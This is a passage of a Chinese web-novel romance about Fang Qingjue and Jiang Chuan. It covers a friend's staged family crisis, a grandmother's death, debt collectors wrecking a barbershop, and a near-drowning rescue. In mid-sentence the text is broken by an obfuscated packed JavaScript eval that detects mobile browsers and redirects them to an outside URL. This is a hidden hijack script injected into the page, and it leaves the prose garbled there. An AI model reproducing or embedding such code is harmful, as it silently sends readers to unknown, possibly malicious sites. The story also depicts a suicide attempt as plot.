闻言,女人轻轻地笑了一声,一个字都没说,硬汉却默默地握紧了拳,额角渗出了汗。他顿了顿,偏头按住对讲机汇报情况。 见状,女人打开车门走下来,目光落向这边时,隔着夜色与方清珏短暂地对视了几秒。 随后,副驾驶的门也打开了,走下来一位身高腿长的少年,一张脸清冷锋锐,剑眉薄唇高鼻梁,眼睛狭长凌厉,眼尾上挑,不论是眼神还是长相都很有攻击性,给人一种难以接近的距离感。 “……是他?”方清珏微微一怔。 江川有些意外地看过来:“你认识?” 他摇了摇头,“他在悉尼歌剧院演出过,好像是个舞蹈家,叫郁什么来着……” “郁淮。” 话音一落,方清珏猛地睁大了双眼,心道,怪不得听牧泽打电话时觉得那个名字耳熟,原来他就是江川口中的郁少。 “你认识?”这回轮到他问了。 经历过秦朗和嵇野,他已经对江川可能认识国际知名舞蹈家这件事不惊讶了。 “听嵇野提过,他和嵇野是发小。” “……哦。” 郁淮的体态很好,走路带风,像一颗行走的松。他从车头绕到驾驶位,坐进去关上了车门。然后,后车座的车窗也降了下来,一个烫着红色波浪卷,长得特别明艳的女人探出头来,“清姐,你不陪我进去吗?” “老头子看见我会多心。”抽烟的女人走到过去,说话时顺手给她捋了捋被风吹乱的头发,举手投足间有种说不出亲密感,“你不是已经背下来了吗?照着说就行,有我弟在,他不敢把你怎么样。” “那你呢?” 女人朝那群硬汉扬了扬下巴,“清场。” “好吧。”她将头收了回去,下一秒,迈巴赫开进了医院。对讲机里传来一个低沉的男音,硬汉听完便向女人行了个礼,然后带着其他人撤离了。 眨眼间,医院门口只剩下抽烟的女人,和坐在车里的方清珏和江川。 女人抽了一口烟,偏头看过来。 夜色浓重,方清珏不大能看清她的神情,却被这一眼看得有些紧张,像偷东西时遇上了警察,考试作弊被当场抓个正着,心鼓噪得都要跳出来了。 一旁的江川却靠着椅背缓缓呼出一口气,整个人都松弛下来,发动了引擎。 方清珏明白他们也是清场中的一环,便合上了车窗。轿车调头往山下开,他狐疑道:“我们不是要换个地方进去吗?” “不用了。”江川的脸色恢复了正常,唇角又有了似弯不弯的弧度,“我们不是局中人,回家等消息就行。” “什么意思?”他听得云里雾里。 江川的语速很慢,嗓音温沉,像是疲倦得说不动话,“刚刚坐在后车座的就是嵇野名义上的订婚对象,你猜她为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15174292|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么会来这里?” 方清珏:“因为嵇野啊!” “嵇公都封锁消息了,她怎么会知道呢?而且,这件事是家丑,她来干什么?” “不是因为担心嵇野的情况?” “你也听见了,郁清说你不是背下来了吗,照着说就行。这说明嵇野今晚的所作所为都是事先策划好的,和她的婚约也是一场交易,接下来有一些话要借她的口说给嵇公听。我估计嵇野是做了个九死一生的局,想赌一把。” 方清珏震惊了:“所以自杀是假的?” “自杀是真的。”江川很笃定,“嵇公很聪明,不来真的不行。” “我不懂……” “一个死掉的儿子和一个活着的同性恋儿子,你说嵇公会怎么选?” “……不好说。” “嵇野是三代单传,嵇公再不情愿也会让步。” “他在赌嵇公的父爱?” “也不全是,如果单纯是赌父爱,他不会让郁家参合进来。”江川说,“他这是想借郁家给嵇公施压,毕竟逼死儿子比儿子是同性恋更不光彩,对他影响更大。” “郁家很厉害吗?” “B市有头有脸的人很多,郁家是最举足轻重的那一个,算是金字塔顶端吧,各方面都断崖式领先,嵇公还真开罪不起他们。” 方清珏啧了一声:“……怪不得她这么嚣张,说话时一点也没有避讳的意思。” “郁家老太爷身体不好,这医院就是郁家建来给老太爷看病的,在自家门口说话当然硬气。” 方清珏:“……” 两旁的街景快速向后倒退,像快进后的老电影,没多久就拉到了终点。江川将车停在公寓楼下,两人一起上了楼。 一进家门,他的手机就响了一声,江川掏出来看了一眼,笑道:“他没事了,就是伤得太重,没有十天半个月怕是走不出重症病房。” 方清珏一愣:“这么严重?” “嗯。”他将手机收起来,“毕竟是抱着必死的决心,割腕后还跳了车,没死路上都是命大。” “那嵇公还会把他送去戒同所吗?” “嵇公气得都不认这个儿子了,以后他就只有牧泽了。” 这两个人以前不是纯粹的兄弟,后来不是敞亮的爱人,现在又变成了亦兄亦友亦伴侣的关系,彼此都将自己的人生完全与对方绑定,像两块牢牢吸附在一起的吸铁石。 方清珏的心绪忽然变得十分复杂,说不上来是什么滋味。他坐在沙发上,两眼怔怔地盯着电视,仿佛隔着多年的光阴看到了被病危的父亲逼得进退两难的方一航。 明明是相同的处境,明明都渴望站在阳光下光明正大地和爱人在一起,做出来的选择却完全不同。 原来这道情孝两难全的难题并不是无解的,至少嵇野在绝望的荒野里走出一片生机,还没有伤害任何人,唯独毁灭了他自己。 其实在今夜之前,方清珏一直以为牧泽是不爱嵇野的。直到他从那扇铁门里冲出来,惊慌失色又跌跌撞撞地向外跑,才将深藏已久的爱意泄了个彻底。 这两个人,一个不羁似野风,一个孤寂如清月,一时间很难说清到底是清月困住了野风,还是野风囚禁了清月。 爱一个人太难了,相守更是难上加难,嵇野决绝赴死才换来与爱人相守的机会。而他和江川,前无长辈阻拦,后无背德之忧,中间也没有难以理清的纠葛,却一直在平坦的康庄大道上忽近忽远地纠缠。 图什么呢。 万一意外比明天先来呢? 况且,当初是他让江川寒了心…… 方清珏垂下眼帘,看着茶几上的玻璃水杯,神情微微有些恍惚。 在国外这几年,他一度觉得他的爱就像一杯水,全都给了江川,现在只剩空荡荡的杯子,已经不再具备爱人的能力,也不愿别人来爱他。 但这次重逢,他绝望地发现,他不是没有爱人的能力,而是对爱情的幻想只寄托在江川一个人的身上。只要是江川,杯子里的水哪怕耗尽也会凭空再生,永远不会干涸——他总有新的力量来爱他。 方清珏认命地,无奈地,重重地叹了口气。 “想什么呢?”江川站在面前,隔着茶几垂眼看他。 他抬眼,两个人视线交汇的一刹那,一股冲动涌上大脑,在身体里炸出一片不管不顾的烟花。 “江川。”他一字一句,十分认真地问,“你要不要和我重蹈覆辙。” 江川神色一凛,眼皮轻轻地跳了跳,像是被最后四个字刺到了。 重蹈覆辙,而不是重归于好。 这意味着他们的复合不是破镜重圆,只是把最后一丝不甘消耗殆尽,总有再分开的那一天。 “很早以前我就说过。” 江川弯下腰,用手撑着茶几,倾过身去凑到方清珏面前,目光灼灼地,深深地凝视着他:“你希望我们是什么关系我们就是什么关系,一切都按照你的节奏来。” 你想怎么对我都行,想干什么都可以。 我死缠烂打地追,不要脸的缠,只是不想再躲在你看不见的地方默默爱你。 方清珏。 无论是过去还是现在,你都不知道,我到底有多爱你。 31.P.没有食言 他喜欢干净清爽的江川。 也喜欢疯狂阴鸷的江川。 就像世人爱月亮不会只爱月亮的某一面,他平等地爱着月亮的所有阴晴圆缺。 - 尽管周六日一直在兼职,这个月也只挣了几百块。 蚂蚁再小也是肉。 方清珏将钱存进那张银行卡,想起上次去B市,他一看见江川就发了火。 “你没发现你发烧了吗!” 江川平静地说了句没有吧,量完体温才后知后觉地感觉到难受。 但他仍旧撑着三十八度多的体温去酒吧,因为陈婆身上插着管子,连话都说不清楚了,全靠药物和机器吊着最后一口气。 手术越做越遭罪,不做又活不下去,癌症晚期就是一道横在至亲之间无解的难题。 “嗡——” 刚推开银行的大门,兜里的手机就震了起来。 是江川打来的。 方清珏眸心一晃,忽然有一种不祥的预感。他盯着手机屏幕看了几十秒才按下接听键,然后就听见了江川死气沉沉的声音。 “不用再往这张卡里打钱了。” 心脏咚地一下摔在了地上,他倒吸一口凉气,忽然觉得今天的阳光太毒了,晒得他有一种中暑了,头脑发晕的感觉。 他想,他一定是会错意了,所以才近乎残忍地追问了一句:“……怎么就不用了。” “她走了。”江川这句话说得极其平静,平静到没有丝毫情绪起伏,“我下午就回去。” 方清珏还想说些什么,电话却在这时候啪地一下挂断,再打过去就没人接听了。 他没敢再发消息,只好去火车站,坐在出站口对面的石墩上坐着等。 这一等就是一天。 直到夕阳西下,傍晚的风吹得他打了个冷颤,才掏出手机试探着给江川发了条微信。 -到哪儿了。 江川回复的很快。 -在家。 操。 方清珏立刻站起身,三步并作两步地朝筒子楼狂奔。 篱笆院的香葱开完花又结了籽,然后被霜雪冻在冰层里,一场春雨过后,全都重新发了芽。阳台侧门微微敞开着,像是屋里的人终于打算整理闲了半年多的院子了。 方清珏走进去,见江川站在陈婆的梳妆镜前,右肩单背着一个黑包,手里拿着好几个陈旧的信封,正在低头看上面的地址。 不过二百多个日夜,他就瘦得连衬衫都撑不起来了,流畅有力的臂膀也像水土流失后的田地,贫瘠得过了分。 方清珏像被人活生生挖走了心尖上的血肉,疼得弯下了腰——他也分不清是在疼梳妆台上突然多出来的骨灰盒,还是疼行尸走肉般的江川。 可能都有吧。 这种感觉实在难以形容,他居然想吐。 鞋底摩擦地面的声音响起,听起来是江川转过身来了。 “你怎么了?”他问。 方清珏一阵阵地反胃,说不出话来,只能倚着门框摆了摆手。 “真没事?”他走过来,停在面前。 方清珏很轻地摇了摇头。 他撑着门框直起身体,见江川改用双肩背那个黑色的包了。他双臂环抱着骨灰盒,抱得很紧,像在抱与这个世界仅剩的唯一的关联。 “你……”方清珏的嗓子倏地哑了,哑得莫名其妙。他指了指他肩上的黑包,想问你这是又要去哪儿。 江川低头看着怀中的骨灰盒,声音低沉:“她想落叶归根。” 这是中国人的习俗,是早就刻在DNA里的思想观念。方清珏很轻地点了点头,“我和你一起去。” “那个村子还在不在都不知道,别跟着折腾了。” 江川走得果然,决绝,甚至有一种他不是去安葬陈婆,而是去赴死的感觉。 方清珏不知道自己是怎么回的家。 江川尚且平静,没有特别大的情绪波动,他却浑浑噩噩的,像走在路上突然被车撞了似的,头晕得厉害,涨得发疼。 林真真已经下班了,正在院里修剪栀子树,一看见他就埋怨:“天都黑了,也不知道赶紧回来做饭。” 少吃一顿又不会死。 方清珏只当没听见。 林真真:“成天拉拉个脸,跟谁欠了你八百万似的,光说你哥都不愿意回来。” 方清珏懒得和她吵,自顾自回了屋,连鞋都没脱就往床上一栽。 早春的风从敞开的窗灌进来,带着透心的凉意。整个世界静得像一个蛀空了的牙齿,木木的,本来也没什么,只是一想起陈婆站在亮着灯的阳台朝他招手的样子,心就不受控制地绞痛。 昼夜无声交替,不知不觉间,天亮了。地球离了谁,少了谁都照样转得下去,就像留下来的人总得继续往前走。 清明节,八中放了三天假,林真真又出差了。方清珏照旧去奶茶店打工,但他跟丢了魂似的,一直心不在焉,总做错奶茶。 接连两天都是如此,老板终于忍无可忍,给了他一百五十块,说:“以后不用来了。” 方清珏正在用捣汁棒做棒打柠檬茶,闻言哦了一声,然后打得更用力,像故意发泄似的。 江川自打那天离开就断联了。 他特别后悔,心说,怎么就那么实诚呢,不让去就不去,偷偷跟着不会吗? 街上突然传来一阵噼里啪啦的巨响,听起来像砸玻璃的声音。 老板顶着看戏的表情走到门口,然后立马敛着神色抄起门口的拖把,冲了出去:“我告诉你们嗷,再不收手我报警了!” 砸玻璃的声音并没有停止,街上突然嘈杂了起来,各种声音像潮水一样涌进了奶茶店。 “你们哪来的!胆肥啊敢来这闹事!” “太嚣张了!” “这不是欺负陈婆不在吗!” 方清珏捣柠檬的动作停滞一瞬,立刻拎着捣汁棒出去了。 理发店门口站着十几个一看就不是好鸟的人,人人手里拿着甩棍,正噼里啪啦地砸玻璃门和玻璃窗。 “看什么看!”说话的人戴着大金链子,“欠债还钱天经地义,他们欠我钱,别说砸他店,砸他家都是应该的!” 陈婆这些年与邻里关系不错,这帮人一动手,附近商铺的人就都出来阻止了,“你说欠就欠啊?你有什么证据?” “这店是不是江川的。”金链子指了指理发店,“他借钱的时候白纸黑字,抵押的就是这个店。” 一听见江川的名字,众人的脸色都变了变,奶茶店老板说:“听他放屁,赶紧报警!” 有人打电话报警,有人举着手机录像,有人扯着嗓门和金链子理论,有人用武力阻拦那帮人砸店。昧生理发店沉寂了十个月,突然热闹了起来。 “愣着干什么!继续砸!” 金链子指挥他带来的人。 “砸你妈个蛋!” 方清珏跑过去,抬手就是一棒槌。他这一动手,局面立刻从他单挑一群人变成了街坊团结在一起和不明恶势力火拼。 警察来的时候,废了好一番功夫才把两伙人拉开,全都带回局里做笔录。金链子说江川欠了二十万,到了该还账的日子人却跑了。 “那也不能砸店啊!” 警察二话不说直接把人拘了。 事情调查明白后,方清珏和育才街的街坊才都被放出来。在警局耗了一上午,街坊都赶着回家做饭,就方清珏回奶茶店拿了扫帚,一点点清理碎了一地的玻璃渣。 “操!这谁干的!” 身后传来胖子的声音。 这家伙高考后被骗到了边境,差点在传销窝里出不来。回来后立马就去B市找江川,然后陈婆的事就彻底瞒不住了。 要不然,街坊们也不会这么团结。 他们虽然不会出手帮被治疗费逼得走投无路的江川,但会在追债的闹上门时二话不说抄家伙就干。 方清珏回过头,见胖子义愤填膺地盯着被砸得稀巴烂的理发店,两只手都攥紧了。 “你怎么来了?”他问。 “谁干的?”他捏得骨节咔咔直响,“我去宰了他!” “局里蹲着呢。”方清珏继续扫地,“你进去宰吧。” 胖子一听,爆了句粗口,“他居然敢找人报复?” “……不是。”方清珏佩服他的理解能力,“你可能搞错了。” 胖子不信,“不是他还能是谁!” 方清珏像想起来什么,直起腰看他:“你不是说他的背不是江川划的?” 胖子哑然一秒,正想说什么,就听见一阵急促的脚步声。方清珏的心扑通一声,福灵心至地扭过头,见江川背着那个黑书包,脸色发青地跑了过来。 他停在昧生门口,脚踩着碎了一地,像钻石一样反着光亮的玻璃碴子,眼里有什么东西像大厦倾塌一样,轰地一声,转眼成了废墟。 方清珏忽然就说不出话了。 他注视着江川,江川则注视着和招牌一样破败的理发店,久久没挪开视线。 他一句话都没说,脸上却满是“我怎么这么没用”的颓败。这种浓厚的,像枷锁一样紧紧束缚他的情绪在缄默中渐渐变成了什么都抓不住的无力。 胖子去隔壁借了扫帚跟着收拾,方清珏也收回了目光,低头继续扫地。 他们两个人谁都没有开口,就像没看见江川一样。江川也对他们视而不见,抖着手掏出钥匙,又抖着手打开被砸得只剩不锈钢框的门。 那帮人砸开了门,但没能进来,店里只是看起来有点乱,到处都有反光的玻璃渣。 江川把书包卸下来放在收银台上,视线缓缓地在屋里转了一圈。他脸上没有任何表情 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胖子领他们去店里挑设备,方清珏坐在遮阳伞下的折叠椅里,视线追着越滑越远的江川,慢半拍地反应过来,他已经很久很久没笑过了,哪怕是那种很假很不走心很程序化的笑。 海面上的人随风跳了起来,这一下跳得很高很高,得有一栋楼那么高。在到达最高点那一秒,江川松开了操控风筝方向的操控杆,双手握住扣着腰间装备带的锁扣。 风筝忽然像断了线,不住地向天空飞去,半空中的人则往反方向坠。方清珏骤然睁大了双眼,瞳孔急剧收缩,表情是前所未有的惊恐。 “川哥——!” 他大喊着朝人奔了过去。 江川是滑到深海区拆掉安全锁扣的,自由落体的速度很快,稍微耽误几秒都会彻底沉海里救不回来。 方清珏骑着海上摩托车,把马力开到最大,牟足劲向前冲。 “咚——!” 巨大的浪花像炸放在海面上的烟花,脱了线的风筝消失在空中,飞风筝的人不见了,海面上只剩一块漂浮着的冲浪板。 方清珏连一秒钟都没有犹豫,立刻扎进了海里,使出了吃奶的力气朝正以肉眼可见的速度向下沉的人游过去。 海水深不见底,像极具危险的,能吞噬一切的黑洞。方清珏拼了命地朝他靠近,好不容易赶到他面前揽住他的腰,抬头一看,顿时感觉头皮一圈一圈地炸开,窒息感纷至沓来。 离海面太远了。 江川闭着眼,不知是不是失去了意识。方清珏抓着他,带着他努力向上游。 刚刚救人时什么都没来得及想,这会儿才后反劲地怕了起来,四肢像是有自己的想法,根本不听使唤,越来越沉,越来越僵,每动一下都很吃力。 方清珏闭上眼,心里嘀咕着,这是河,这是河,这不是海,这不是海。 憋气时间太长,窒息感越来越强烈,甚至都出现了幻觉——他明明闭着眼,却感觉眼前乍起一道白光。 再坚持一下。 不能沉。 至少江川不能沉。 方清珏咬着牙,在睁开眼睛,看见离海面尚有一段距离时,忽然感到了绝望。 “川哥!” 胖子的声音隔着海水传过来,听起来特别钝,很模糊。 “方仔!” 一艘快艇出现,方清珏登时来了劲。这一秒,求生欲彻底战胜了恐惧,他夺回了四肢的掌控权,带着江川一起朝快艇贴近。 胖子蹲在船尾的登船板上,五官被涌动的海水扭曲得分了家。 方清珏感觉自己已经离海面很近很近了,但也真的坚持不下去了。他拼尽最后一丝力气,将江川推了上去。 “川哥!”胖子立马跳了下来。 他穿着救生衣,腰上还绑着绳索,抓住江川的那一刻就被快艇上的人拉上了岸。 方清珏松了一口气。 这一松,身体彻底卸了力,太久没换气,窒息感已然达到了无法承受的顶峰。眼前的海水渐渐变成了黑色,而他也累到脱力,连眼睛都睁不开了。 海里仿佛冒出许许多多的海草,像藤蔓一样缠绕着他的肢体,裹着他往海底拖拽。 他感觉自己正缓慢地下沉。 在很久以前,方清珏曾想过,如果下一秒就会死去,那他唯一的想法就是林真真知道后会不会后悔。 可真到这一刻,他才发现眼前闪过的不只是林真真的脸。 那些熟悉的陌生的放得下放不下的面孔渐渐融合,变成了戴着氧气罩,连呼吸都困难的陈婆的脸。 这一秒,他心里只有一个念头。 阿婆。 我没有食言。